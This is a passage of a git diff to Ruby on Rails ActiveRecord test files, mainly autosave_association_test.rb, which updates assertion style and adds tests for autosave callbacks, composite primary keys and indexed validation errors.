+      assert_not_called(ActiveRecord::Base, :lease_connection) do
+        Class.new(OverloadedType) do
+          attribute :foo, :string
+        end
+      end
+    end
+
+    test "unknown type error is raised" do
+      assert_raise(ArgumentError) do
+        OverloadedType.attribute :foo, :unknown
+      end
+    end
+
+    test "immutable_strings_by_default changes schema inference for string columns" do
+      with_immutable_strings do
+        OverloadedType.reset_column_information
+        immutable_string_type = Type.lookup(:immutable_string).class
+        assert_instance_of immutable_string_type, OverloadedType.type_for_attribute("inferred_string")
+      end
+    end
+
+    test "immutable_strings_by_default retains limit information" do
+      with_immutable_strings do
+        OverloadedType.reset_column_information
+        assert_equal 255, OverloadedType.type_for_attribute("inferred_string").limit
+      end
+    end
+
+    test "immutable_strings_by_default does not affect `attribute :foo, :string`" do
+      with_immutable_strings do
+        OverloadedType.reset_column_information
+        default_string_type = Type.lookup(:string).class
+        assert_instance_of default_string_type, OverloadedType.type_for_attribute("string_with_default")
+      end
+    end
+
+    test "serialize boolean for both string types" do
+      default_string_type = Type.lookup(:string)
+      immutable_string_type = Type.lookup(:immutable_string)
+      assert_equal default_string_type.serialize(true), immutable_string_type.serialize(true)
+      assert_equal default_string_type.serialize(false), immutable_string_type.serialize(false)
+    end
+
+    private
+      def with_immutable_strings
+        old_value = ActiveRecord::Base.immutable_strings_by_default
+        ActiveRecord::Base.immutable_strings_by_default = true
+        yield
+      ensure
+        ActiveRecord::Base.immutable_strings_by_default = old_value
+      end
   end
 end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 2203aa1788e1e..e32c73b759bab 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -1,20 +1,28 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/author"
+require "models/book"
 require "models/bird"
 require "models/post"
 require "models/comment"
+require "models/category"
 require "models/company"
+require "models/contract"
 require "models/customer"
 require "models/developer"
 require "models/computer"
 require "models/invoice"
 require "models/line_item"
+require "models/mouse"
 require "models/order"
 require "models/parrot"
-require "models/person"
 require "models/pirate"
-require "models/reader"
+require "models/project"
+require "models/price_estimate"
 require "models/ship"
 require "models/ship_part"
+require "models/squeak"
 require "models/tag"
 require "models/tagging"
 require "models/treasure"
@@ -26,16 +34,48 @@
 require "models/organization"
 require "models/guitar"
 require "models/tuning_peg"
+require "models/reply"
+require "models/attachment"
+require "models/translation"
+require "models/chef"
+require "models/cake_designer"
+require "models/drink_designer"
+require "models/cpk"
+require "models/human"
+require "models/face"
 
 class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
-  def test_autosave_validation
+  def test_autosave_works_even_when_other_callbacks_update_the_parent_model
+    reference = Class.new(ActiveRecord::Base) do
+      self.table_name = "references"
+      def self.name; "Reference"; end
+    end
+
+    person = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      def self.name; "Person"; end
+
+      # It is necessary that the after_create is before the has_many _and_ that it updates the model.
+      # This replicates a bug found in https://github.com/rails/rails/issues/38120
+      after_create { update(first_name: "first name") }
+      has_many :references, autosave: true, anonymous_class: reference
+    end
+
+    reference_instance = reference.create!
+    person_instance = person.create!(first_name: "foo", references: [reference_instance])
+
+    reference_instance.reload
+    assert_equal person_instance.id, reference_instance.person_id
+    assert_equal "first name", person_instance.first_name # Make sure the after_create is actually called
+  end
+
+  def test_autosave_does_not_pass_through_non_custom_validation_contexts
     person = Class.new(ActiveRecord::Base) {
       self.table_name = "people"
       validate :should_be_cool, on: :create
       def self.name; "Person"; end
 
       private
-
         def should_be_cool
           unless first_name == "cool"
             errors.add :first_name, "not cool"
@@ -49,8 +89,61 @@ def self.name; "Reference"; end
     }
 
     u = person.create!(first_name: "cool")
-    u.update_attributes!(first_name: "nah") # still valid because validation only applies on 'create'
-    assert reference.create!(person: u).persisted?
+    u.first_name = "nah"
+
+    assert_predicate u, :valid?
+    r = reference.new(person: u)
+    assert_predicate r, :valid?
+  end
+
+  def test_autosave_collection_association_callbacks_get_called_once
+    ship_with_saving_stack = Class.new(Ship) do
+      def save_collection_association(reflection)
+        @count ||= 0
+        @count += 1 if reflection.name == :parts
+        super
+      end
+    end
+
+    ship = ship_with_saving_stack.new(name: "Nights Dirty Lightning")
+    ship.parts.build(name: "part")
+    ship.save!
+    assert_equal 1, ship.instance_variable_get(:@count)
+  end
+
+  def test_autosave_has_one_association_callbacks_get_called_once
+    # a bidirectional autosave is required to trigger multiple calls to
+    # save_has_one_association
+    assert Ship.reflect_on_association(:pirate).options[:autosave]
+    assert Pirate.reflect_on_association(:ship).options[:autosave]
+
+    pirate_with_saving_stack = Class.new(Pirate) do
+      def save_has_one_association(reflection)
+        @count ||= 0
+        @count += 1 if reflection.name == :ship
+        super
+      end
+    end
+
+    pirate = pirate_with_saving_stack.new(catchphrase: "Aye")
+    pirate.build_ship(name: "Nights Dirty Lightning")
+    pirate.save!
+    assert_equal 1, pirate.instance_variable_get(:@count)
+  end
+
+  def test_autosave_belongs_to_association_callbacks_get_called_once
+    ship_with_saving_stack = Class.new(Ship) do
+      def save_belongs_to_association(reflection)
+        @count ||= 0
+        @count += 1 if reflection.name == :pirate
+        super
+      end
+    end
+
+    ship = ship_with_saving_stack.new(name: "Nights Dirty Lightning")
+    ship.build_pirate(catchphrase: "Aye")
+    ship.save!
+    assert_equal 1, ship.instance_variable_get(:@count)
   end
 
   def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
@@ -73,14 +166,14 @@ def test_cyclic_autosaves_do_not_add_multiple_validations
     ship = ShipWithoutNestedAttributes.new
     ship.prisoners.build
 
-    assert_not ship.valid?
+    assert_not_predicate ship, :valid?
     assert_equal 1, ship.errors[:name].length
   end
 
   private
-
     def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
       reflection = model.reflect_on_association(association_name)
+      assert_not_nil reflection
       assert_no_difference "callbacks_for_model(#{model.name}).length" do
         model.send(:add_autosave_association_callbacks, reflection)
       end
@@ -98,35 +191,35 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas
 
   def test_should_save_parent_but_not_invalid_child
     firm = Firm.new(name: "GlobalMegaCorp")
-    assert firm.valid?
+    assert_predicate firm, :valid?
 
     firm.build_account_using_primary_key
-    assert !firm.build_account_using_primary_key.valid?
+    assert_not_predicate firm.build_account_using_primary_key, :valid?
 
     assert firm.save
-    assert !firm.account_using_primary_key.persisted?
+    assert_not_predicate firm.account_using_primary_key, :persisted?
   end
 
   def test_save_fails_for_invalid_has_one
     firm = Firm.first
-    assert firm.valid?
+    assert_predicate firm, :valid?
 
     firm.build_account
 
-    assert !firm.account.valid?
-    assert !firm.valid?
-    assert !firm.save
+    assert_not_predicate firm.account, :valid?
+    assert_not_predicate firm, :valid?
+    assert_not firm.save
     assert_equal ["is invalid"], firm.errors["account"]
   end
 
   def test_save_succeeds_for_invalid_has_one_with_validate_false
     firm = Firm.first
-    assert firm.valid?
+    assert_predicate firm, :valid?
 
     firm.build_unvalidated_account
 
-    assert !firm.unvalidated_account.valid?
-    assert firm.valid?
+    assert_not_predicate firm.unvalidated_account, :valid?
+    assert_predicate firm, :valid?
     assert firm.save
   end
 
@@ -135,10 +228,10 @@ def test_build_before_child_saved
 
     account = firm.build_account("credit_limit" => 1000)
     assert_equal account, firm.account
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     assert firm.save
     assert_equal account, firm.account
-    assert account.persisted?
+    assert_predicate account, :persisted?
   end
 
   def test_build_before_either_saved
@@ -146,16 +239,16 @@ def test_build_before_either_saved
 
     firm.account = account = Account.new("credit_limit" => 1000)
     assert_equal account, firm.account
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     assert firm.save
     assert_equal account, firm.account
-    assert account.persisted?
+    assert_predicate account, :persisted?
   end
 
   def test_assignment_before_parent_saved
     firm = Firm.new("name" => "GlobalMegaCorp")
     firm.account = a = Account.find(1)
-    assert !firm.persisted?
+    assert_not_predicate firm, :persisted?
     assert_equal a, firm.account
     assert firm.save
     assert_equal a, firm.account
@@ -166,12 +259,12 @@ def test_assignment_before_parent_saved
   def test_assignment_before_either_saved
     firm = Firm.new("name" => "GlobalMegaCorp")
     firm.account = a = Account.new("credit_limit" => 1000)
-    assert !firm.persisted?
-    assert !a.persisted?
+    assert_not_predicate firm, :persisted?
+    assert_not_predicate a, :persisted?
     assert_equal a, firm.account
     assert firm.save
-    assert firm.persisted?
-    assert a.persisted?
+    assert_predicate firm, :persisted?
+    assert_predicate a, :persisted?
     assert_equal a, firm.account
     firm.association(:account).reload
     assert_equal a, firm.account
@@ -180,19 +273,25 @@ def test_assignment_before_either_saved
   def test_not_resaved_when_unchanged
     firm = Firm.all.merge!(includes: :account).first
     firm.name += "-changed"
-    assert_queries(1) { firm.save! }
+    assert_queries_count(3) { firm.save! }
 
     firm = Firm.first
     firm.account = Account.first
-    assert_queries(Firm.partial_writes? ? 0 : 1) { firm.save! }
+    assert_queries_count(Firm.partial_updates? ? 0 : 1) { firm.save! }
 
     firm = Firm.first.dup
     firm.account = Account.first
-    assert_queries(2) { firm.save! }
+    assert_queries_count(4) { firm.save! }
 
     firm = Firm.first.dup
     firm.account = Account.first.dup
-    assert_queries(2) { firm.save! }
+    assert_queries_count(4) { firm.save! }
+  end
+
+  def test_should_not_load_the_associated_model
+    firm = companies(:first_firm)
+    firm.reset_unvalidated_account
+    assert_no_queries { firm.save! }
   end
 
   def test_callbacks_firing_order_on_create
@@ -213,6 +312,75 @@ def test_callbacks_firing_order_on_save
     eye.update(iris_attributes: { color: "blue" })
     assert_equal [false, false, false, false], eye.after_save_callbacks_stack
   end
+
+  def test_callbacks_on_child_when_parent_autosaves_child
+    eye = Eye.create!(iris: Iris.new)
+    assert_equal 1, eye.iris.before_validation_callbacks_counter
+    assert_equal 1, eye.iris.before_create_callbacks_counter
+    assert_equal 1, eye.iris.before_save_callbacks_counter
+    assert_equal 1, eye.iris.after_validation_callbacks_counter
+    assert_equal 1, eye.iris.after_create_callbacks_counter
+    assert_equal 1, eye.iris.after_save_callbacks_counter
+  end
+
+  def test_callbacks_on_child_when_parent_autosaves_child_twice
+    eye = Eye.create!(iris: Iris.new)
+    eye.update!(iris: Iris.new)
+    assert_equal 1, eye.iris.before_validation_callbacks_counter
+    assert_equal 1, eye.iris.before_create_callbacks_counter
+    assert_equal 1, eye.iris.before_save_callbacks_counter
+    assert_equal 1, eye.iris.after_validation_callbacks_counter
+    assert_equal 1, eye.iris.after_create_callbacks_counter
+    assert_equal 1, eye.iris.after_save_callbacks_counter
+  end
+
+  def test_callbacks_on_child_when_parent_autosaves_polymorphic_child_with_inverse_of
+    drink_designer = DrinkDesigner.create!(chef: ChefWithPolymorphicInverseOf.new)
+    assert_equal 1, drink_designer.chef.before_validation_callbacks_counter
+    assert_equal 1, drink_designer.chef.before_create_callbacks_counter
+    assert_equal 1, drink_designer.chef.before_save_callbacks_counter
+    assert_equal 1, drink_designer.chef.after_validation_callbacks_counter
+    assert_equal 1, drink_designer.chef.after_create_callbacks_counter
+    assert_equal 1, drink_designer.chef.after_save_callbacks_counter
+  end
+
+  def test_callbacks_on_child_when_child_autosaves_parent
+    iris = Iris.create!(eye: Eye.new)
+    assert_equal 1, iris.before_validation_callbacks_counter
+    assert_equal 1, iris.before_create_callbacks_counter
+    assert_equal 1, iris.before_save_callbacks_counter
+    assert_equal 1, iris.after_validation_callbacks_counter
+    assert_equal 1, iris.after_create_callbacks_counter
+    assert_equal 1, iris.after_save_callbacks_counter
+  end
+
+  def test_callbacks_on_child_when_child_autosaves_parent_twice
+    iris = Iris.create!(eye: Eye.new)
+    iris.update!(eye: Eye.new)
+    assert_equal 2, iris.before_validation_callbacks_counter
+    assert_equal 1, iris.before_create_callbacks_counter
+    assert_equal 2, iris.before_save_callbacks_counter
+    assert_equal 2, iris.after_validation_callbacks_counter
+    assert_equal 1, iris.after_create_callbacks_counter
+    assert_equal 2, iris.after_save_callbacks_counter
+  end
+
+  def test_callbacks_on_child_when_polymorphic_child_with_inverse_of_autosaves_parent
+    chef = ChefWithPolymorphicInverseOf.create!(employable: DrinkDesigner.new)
+    assert_equal 1, chef.before_validation_callbacks_counter
+    assert_equal 1, chef.before_create_callbacks_counter
+    assert_equal 1, chef.before_save_callbacks_counter
+    assert_equal 1, chef.after_validation_callbacks_counter
+    assert_equal 1, chef.after_create_callbacks_counter
+    assert_equal 1, chef.after_save_callbacks_counter
+  end
+
+  def test_foreign_key_attribute_is_not_set_unless_changed
+    eye = Eye.create!(iris_with_read_only_foreign_key_attributes: { color: "honey" })
+    assert_nothing_raised do
+      eye.update!(override_iris_with_read_only_foreign_key_color: true)
+    end
+  end
 end
 
 class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
@@ -220,13 +388,13 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
 
   def test_should_save_parent_but_not_invalid_child
     client = Client.new(name: "Joe (the Plumber)")
-    assert client.valid?
+    assert_predicate client, :valid?
 
     client.build_firm
-    assert !client.firm.valid?
+    assert_not_predicate client.firm, :valid?
 
     assert client.save
-    assert !client.firm.persisted?
+    assert_not_predicate client.firm, :persisted?
   end
 
   def test_save_fails_for_invalid_belongs_to
@@ -234,9 +402,9 @@ def test_save_fails_for_invalid_belongs_to
     assert log = AuditLog.create(developer_id: 0, message: " ")
 
     log.developer = Developer.new
-    assert !log.developer.valid?
-    assert !log.valid?
-    assert !log.save
+    assert_not_predicate log.developer, :valid?
+    assert_not_predicate log, :valid?
+    assert_not log.save
     assert_equal ["is invalid"], log.errors["developer"]
   end
 
@@ -245,8 +413,8 @@ def test_save_succeeds_for_invalid_belongs_to_with_validate_false
     assert log = AuditLog.create(developer_id: 0, message: " ")
 
     log.unvalidated_developer = Developer.new
-    assert !log.unvalidated_developer.valid?
-    assert log.valid?
+    assert_not_predicate log.unvalidated_developer, :valid?
+    assert_predicate log, :valid?
     assert log.save
   end
 
@@ -255,10 +423,10 @@ def test_assignment_before_parent_saved
     apple = Firm.new("name" => "Apple")
     client.firm = apple
     assert_equal apple, client.firm
-    assert !apple.persisted?
+    assert_not_predicate apple, :persisted?
     assert client.save
     assert apple.save
-    assert apple.persisted?
+    assert_predicate apple, :persisted?
     assert_equal apple, client.firm
     client.association(:firm).reload
     assert_equal apple, client.firm
@@ -268,11 +436,11 @@ def test_assignment_before_either_saved
     final_cut = Client.new("name" => "Final Cut")
     apple = Firm.new("name" => "Apple")
     final_cut.firm = apple
-    assert !final_cut.persisted?
-    assert !apple.persisted?
+    assert_not_predicate final_cut, :persisted?
+    assert_not_predicate apple, :persisted?
     assert final_cut.save
-    assert final_cut.persisted?
-    assert apple.persisted?
+    assert_predicate final_cut, :persisted?
+    assert_predicate apple, :persisted?
     assert_equal apple, final_cut.firm
     final_cut.association(:firm).reload
     assert_equal apple, final_cut.firm
@@ -381,7 +549,33 @@ def test_validation_does_not_validate_stale_association_target
     auditlog.developer    = invalid_developer
     auditlog.developer_id = valid_developer.id
 
-    assert auditlog.valid?
+    assert_predicate auditlog, :valid?
+  end
+
+  def test_validation_does_not_validate_non_dirty_association_target
+    mouse = Mouse.create!(name: "Will")
+    Squeak.create!(mouse: mouse)
+
+    mouse.name = nil
+    mouse.save! validate: false
+
+    squeak = Squeak.last
+
+    assert_equal true, squeak.valid?
+    assert_equal true, squeak.mouse.present?
+    assert_equal true, squeak.valid?
+  end
+
+  test "composite primary key autosave" do
+    assert_nothing_raised do
+      Cpk::Order.create!(id: [1, 2], book: Cpk::Book.new(title: "Book", id: [3, 4]))
+    end
+  end
+
+  def test_should_not_load_the_associated_model
+    tagging = taggings(:welcome_general)
+    tagging.reset_tag
+    assert_no_queries { tagging.save! }
   end
 end
 
@@ -394,8 +588,8 @@ def test_invalid_adding_with_nested_attributes
     molecule.electrons = [valid_electron, invalid_electron]
     molecule.save
 
-    assert_not invalid_electron.valid?
-    assert valid_electron.valid?
+    assert_not_predicate invalid_electron, :valid?
+    assert_predicate valid_electron, :valid?
     assert_not molecule.persisted?, "Molecule should not be persisted when its electrons are invalid"
   end
 
@@ -407,16 +601,16 @@ def test_errors_should_be_indexed_when_passed_as_array
 
     guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid]
 
-    assert_not tuning_peg_invalid.valid?
-    assert tuning_peg_valid.valid?
-    assert_not guitar.valid?
+    assert_not_predicate tuning_peg_invalid, :valid?
+    assert_predicate tuning_peg_valid, :valid?
+    assert_not_predicate guitar, :valid?
     assert_equal ["is not a number"], guitar.errors["tuning_pegs[1].pitch"]
     assert_not_equal ["is not a number"], guitar.errors["tuning_pegs.pitch"]
   end
 
   def test_errors_should_be_indexed_when_global_flag_is_set
-    old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors
-    ActiveRecord::Base.index_nested_attribute_errors = true
+    old_attribute_config = ActiveRecord.index_nested_attribute_errors
+    ActiveRecord.index_nested_attribute_errors = true
 
     molecule = Molecule.new
     valid_electron = Electron.new(name: "electron")
@@ -424,13 +618,13 @@ def test_errors_should_be_indexed_when_global_flag_is_set
 
     molecule.electrons = [valid_electron, invalid_electron]
 
-    assert_not invalid_electron.valid?
-    assert valid_electron.valid?
-    assert_not molecule.valid?
+    assert_not_predicate invalid_electron, :valid?
+    assert_predicate valid_electron, :valid?
+    assert_not_predicate molecule, :valid?
     assert_equal ["can't be blank"], molecule.errors["electrons[1].name"]
     assert_not_equal ["can't be blank"], molecule.errors["electrons.name"]
   ensure
-    ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config
+    ActiveRecord.index_nested_attribute_errors = old_attribute_config
   end
 
   def test_errors_details_should_be_set
@@ -440,9 +634,9 @@ def test_errors_details_should_be_set
 
     molecule.electrons = [valid_electron, invalid_electron]
 
-    assert_not invalid_electron.valid?
-    assert valid_electron.valid?
-    assert_not molecule.valid?
+    assert_not_predicate invalid_electron, :valid?
+    assert_predicate valid_electron, :valid?
+    assert_not_predicate molecule, :valid?
     assert_equal [{ error: :blank }], molecule.errors.details[:"electrons.name"]
   end
 
@@ -454,16 +648,145 @@ def test_errors_details_should_be_indexed_when_passed_as_array
 
     guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid]
 
-    assert_not tuning_peg_invalid.valid?
-    assert tuning_peg_valid.valid?
-    assert_not guitar.valid?
+    assert_not_predicate tuning_peg_invalid, :valid?
+    assert_predicate tuning_peg_valid, :valid?
+    assert_not_predicate guitar, :valid?
     assert_equal [{ error: :not_a_number, value: nil }], guitar.errors.details[:"tuning_pegs[1].pitch"]
     assert_equal [], guitar.errors.details[:"tuning_pegs.pitch"]
   end
 
+  def test_errors_details_with_error_on_base_should_be_indexed_when_passed_as_array
+    reference = Class.new(ActiveRecord::Base) do
+      self.table_name = "references"
+      def self.name; "Reference"; end
+
+      validate :should_be_favorite
+
+      private
+        def should_be_favorite
+          errors.add(:base, "should be favorite") unless favorite?
+        end
+    end
+
+    person = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      has_many :references, autosave: true, index_errors: true, anonymous_class: reference
+      def self.name; "Person"; end
+    end
+
+    p = person.new
+    reference_valid = reference.new(favorite: true)
+    reference_invalid = reference.new(favorite: false)
+    p.references = [reference_valid, reference_invalid]
+
+    assert_predicate reference_valid, :valid?
+    assert_not_predicate reference_invalid, :valid?
+    assert_not_predicate p, :valid?
+    assert_equal [{ error: "should be favorite" }], p.errors.details[:"references[1].base"]
+    assert_equal "should be favorite", p.errors[:"references[1].base"].first
+    assert_equal ["References[1] should be favorite"], p.errors.full_messages
+  end
+
+  def test_indexed_errors_should_be_properly_translated
+    old_i18n_customize_full_message = ActiveModel::Error.i18n_customize_full_message
+    ActiveModel::Error.i18n_customize_full_message = true
+    I18n.backend.store_translations(
+      :en,
+      activerecord: {
+        errors: {
+          models: {
+            "person/references": {
+              format: "%{message}"
+            }
+          }
+        }
+      }
+    )
+    reference = Class.new(ActiveRecord::Base) do
+      self.table_name = "references"
+      def self.name; "Reference"; end
+
+      validate :should_be_favorite
+      validates_presence_of :job_id
+
+      private
+        def should_be_favorite
+          errors.add(:base, "should be favorite") unless favorite?
+        end
+    end
+
+    person = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      has_many :references, autosave: true, index_errors: true, anonymous_class: reference
+      def self.name; "Person"; end
+    end
+
+    p = person.new
+    reference_valid = reference.new(favorite: true, job_id: 1)
+    reference_invalid = reference.new(favorite: false)
+    p.references = [reference_valid, reference_invalid]
+
+    assert_predicate reference_valid, :valid?
+    assert_not_predicate reference_invalid, :valid?
+    assert_not_predicate p, :valid?
+    assert_equal ["should be favorite", "can't be blank"], p.errors.full_messages
+  ensure
+    ActiveModel::Error.i18n_customize_full_message = old_i18n_customize_full_message
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_indexed_errors_on_base_attribute_should_be_properly_translated
+    I18n.backend.store_translations(
+      :en,
+      activerecord: {
+        attributes: {
+          person: {
+            reference: "Super reference",
+          },
+          reference: {
+            base: ""
+          }
+        }
+      }
+    )
+    reference = Class.new(ActiveRecord::Base) do
+      self.table_name = "references"
+      def self.name; "Reference"; end
+
+      validate :should_be_favorite
+      validates_presence_of :job_id
+
+      private
+        def should_be_favorite
+          errors.add(:base, "should be favorite") unless favorite?
+        end
+    end
+
+    person = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      def self.name; "Person"; end
+
+      has_one :reference, autosave: true, anonymous_class: reference
+      validates :reference, presence: true
+    end
+
+    p = person.new
+    assert_not_predicate p, :valid?
+    assert_equal ["Super reference can't be blank"], p.errors.full_messages
+
+    reference_invalid = reference.new(favorite: false)
+    p.reference = reference_invalid
+
+    assert_not_predicate reference_invalid, :valid?
+    assert_not_predicate p, :valid?
+    assert_equal [" should be favorite", "Reference job can't be blank"], p.errors.full_messages
+  ensure
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
   def test_errors_details_should_be_indexed_when_global_flag_is_set
-    old_attribute_config = ActiveRecord::Base.index_nested_attribute_errors
-    ActiveRecord::Base.index_nested_attribute_errors = true
+    old_attribute_config = ActiveRecord.index_nested_attribute_errors
+    ActiveRecord.index_nested_attribute_errors = true
 
     molecule = Molecule.new
     valid_electron = Electron.new(name: "electron")
@@ -471,13 +794,13 @@ def test_errors_details_should_be_indexed_when_global_flag_is_set
 
     molecule.electrons = [valid_electron, invalid_electron]
 
-    assert_not invalid_electron.valid?
-    assert valid_electron.valid?
-    assert_not molecule.valid?
+    assert_not_predicate invalid_electron, :valid?
+    assert_predicate valid_electron, :valid?
+    assert_not_predicate molecule, :valid?
     assert_equal [{ error: :blank }], molecule.errors.details[:"electrons[1].name"]
     assert_equal [], molecule.errors.details[:"electrons.name"]
   ensure
-    ActiveRecord::Base.index_nested_attribute_errors = old_attribute_config
+    ActiveRecord.index_nested_attribute_errors = old_attribute_config
   end
 
   def test_valid_adding_with_nested_attributes
@@ -487,33 +810,45 @@ def test_valid_adding_with_nested_attributes
     molecule.electrons = [valid_electron]
     molecule.save
 
-    assert valid_electron.valid?
-    assert molecule.persisted?
+    assert_predicate valid_electron, :valid?
+    assert_predicate molecule, :persisted?
     assert_equal 1, molecule.electrons.count
   end
 end
 
 class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
-  fixtures :companies, :people
+  fixtures :companies, :developers, :cpk_order_agreements, :cpk_orders, :cpk_books
 
   def test_invalid_adding
     firm = Firm.find(1)
-    assert !(firm.clients_of_firm << c = Client.new)
-    assert !c.persisted?
-    assert !firm.valid?
-    assert !firm.save
-    assert !c.persisted?
+    assert_not (firm.clients_of_firm << c = Client.new)
+    assert_not_predicate c, :persisted?
+    assert_not_predicate firm, :valid?
+    assert_not firm.save
+    assert_not_predicate c, :persisted?
   end
 
   def test_invalid_adding_before_save
     new_firm = Firm.new("name" => "A New Firm, Inc")
     new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
-    assert !c.persisted?
-    assert !c.valid?
-    assert !new_firm.valid?
-    assert !new_firm.save
-    assert !c.persisted?
-    assert !new_firm.persisted?
+    assert_not_predicate c, :persisted?
+    assert_not_predicate c, :valid?
+    assert_not_predicate new_firm, :valid?
+    assert_not new_firm.save
+    assert_not_predicate c, :persisted?
+    assert_not_predicate new_firm, :persisted?
+  end
+
+  def test_adding_unsavable_association
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    client = new_firm.clients.new("name" => "Apple")
+    client.throw_on_save = true
+
+    assert_predicate client, :valid?
+    assert_predicate new_firm, :valid?
+    assert_not new_firm.save
+    assert_not_predicate new_firm, :persisted?
+    assert_not_predicate client, :persisted?
   end
 
   def test_invalid_adding_with_validate_false
@@ -521,10 +856,10 @@ def test_invalid_adding_with_validate_false
     client = Client.new
     firm.unvalidated_clients_of_firm << client
 
-    assert firm.valid?
-    assert !client.valid?
+    assert_predicate firm, :valid?
+    assert_not_predicate client, :valid?
     assert firm.save
-    assert !client.persisted?
+    assert_not_predicate client, :persisted?
   end
 
   def test_valid_adding_with_validate_false
@@ -533,24 +868,81 @@ def test_valid_adding_with_validate_false
     firm = Firm.first
     client = Client.new("name" => "Apple")
 
-    assert firm.valid?
-    assert client.valid?
-    assert !client.persisted?
+    assert_predicate firm, :valid?
+    assert_predicate client, :valid?
+    assert_not_predicate client, :persisted?
 
     firm.unvalidated_clients_of_firm << client
 
     assert firm.save
-    assert client.persisted?
+    assert_predicate client, :persisted?
     assert_equal no_of_clients + 1, Client.count
   end
 
+  def test_circular_autosave_does_not_validate_children
+    person = Class.new(ActiveRecord::Base) {
+      self.table_name = "readers"
+      validate :should_be_funny
+      def self.name; "Reader"; end
+
+      attribute :catch_phrase, :string
+      attribute :reader_id
+
+      has_many :children, autosave: true, anonymous_class: self
+      belongs_to :parent, autosave: true, anonymous_class: self
+
+      private
+        def should_be_funny
+          unless catch_phrase == "funny"
+            errors.add :base, "not funny"
+          end
+        end
+    }
+    c = person.new(catch_phrase: "boring")
+    c.children << c
+    c.post_id = 0
+    c.person_id = 0
+    c.save
+
+    assert_not_predicate c, :persisted?
+    assert_not_predicate c, :valid?
+  end
+
+  def test_parent_should_save_children_record_with_foreign_key_validation_set_in_before_save_callback
+    company = NewlyContractedCompany.new(name: "test")
+
+    assert company.save
+    assert_not_empty company.reload.new_contracts
+  end
+
+  def test_parent_should_not_get_saved_with_duplicate_children_records
+    assert_no_difference "Reply.count" do
+      assert_no_difference "SillyUniqueReply.count" do
+        reply = Reply.new
+        reply.silly_unique_replies.build([
+          { content: "Best content" },
+          { content: "Best content" }
+        ])
+
+        assert_not reply.save
+        assert_equal ["is invalid"], reply.errors[:silly_unique_replies]
+        assert_empty reply.silly_unique_replies.first.errors
+
+        assert_equal(
+          ["has already been taken"],
+          reply.silly_unique_replies.last.errors[:content]
+        )
+      end
+    end
+  end
+
   def test_invalid_build
     new_client = companies(:first_firm).clients_of_firm.build
-    assert !new_client.persisted?
-    assert !new_client.valid?
+    assert_not_predicate new_client, :persisted?
+    assert_not_predicate new_client, :valid?
     assert_equal new_client, companies(:first_firm).clients_of_firm.last
-    assert !companies(:first_firm).save
-    assert !new_client.persisted?
+    assert_not companies(:first_firm).save
+    assert_not_predicate new_client, :persisted?
     assert_equal 2, companies(:first_firm).clients_of_firm.reload.size
   end
 
@@ -569,8 +961,8 @@ def test_adding_before_save
     assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
     assert_equal no_of_clients, Client.count  # Clients were not saved to database.
     assert new_firm.save
-    assert new_firm.persisted?
-    assert c.persisted?
+    assert_predicate new_firm, :persisted?
+    assert_predicate c, :persisted?
     assert_equal new_firm, c.firm
     assert_equal no_of_firms + 1, Firm.count      # Firm was saved to database.
     assert_equal no_of_clients + 2, Client.count  # Clients were saved to database.
@@ -588,56 +980,98 @@ def test_assign_ids
     assert_includes firm.clients, companies(:second_client)
   end
 
+  def test_assign_ids_with_belongs_to_cpk_model
+    order_agreements = [cpk_order_agreements(:order_agreement_one).id, cpk_order_agreements(:order_agreement_two).id]
+    order = cpk_orders(:cpk_groceries_order_1)
+
+    assert_empty order.order_agreements
+
+    order.order_agreement_ids = order_agreements
+    order.save
+    order.reload
+
+    assert_equal order_agreements, order.order_agreement_ids
+    assert_equal 2, order.order_agreements.length
+    assert_includes order.order_agreements, cpk_order_agreements(:order_agreement_two)
+  end
+
+  def test_assign_ids_with_cpk_for_two_models
+    book_ids = [cpk_books(:cpk_great_author_first_book).id, cpk_books(:cpk_great_author_second_book).id]
+    order = cpk_orders(:cpk_groceries_order_1)
+
+    assert_empty order.books
+
+    order.book_ids = book_ids
+    order.save
+    order.reload
+
+    assert_equal book_ids, order.book_ids
+    assert_equal 2, order.books.length
+    assert_includes order.books, cpk_books(:cpk_great_author_first_book)
+    assert_includes order.books, cpk_books(:cpk_great_author_second_book)
+  end
+
+  def test_has_one_cpk_has_one_autosave_with_id
+    book = Cpk::Book.create!(id: [1, 3], shop_id: 2)
+    order = Cpk::OrderWithPrimaryKeyAssociatedBook.create!(book: book, shop_id: 2)
+
+    assert_equal(book.order.id, order.id)
+  end
+
   def test_assign_ids_for_through_a_belongs_to
-    post = Post.new(title: "Assigning IDs works!", body: "You heard it here first, folks!")
-    post.person_ids = [people(:david).id, people(:michael).id]
-    post.save
-    post.reload
-    assert_equal 2, post.people.length
-    assert_includes post.people, people(:david)
+    firm = Firm.new("name" => "Apple")
+    firm.developer_ids = [developers(:david).id, developers(:jamis).id]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.developers.length
+    assert_includes firm.developers, developers(:david)
   end
 
   def test_build_before_save
     company = companies(:first_firm)
-    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
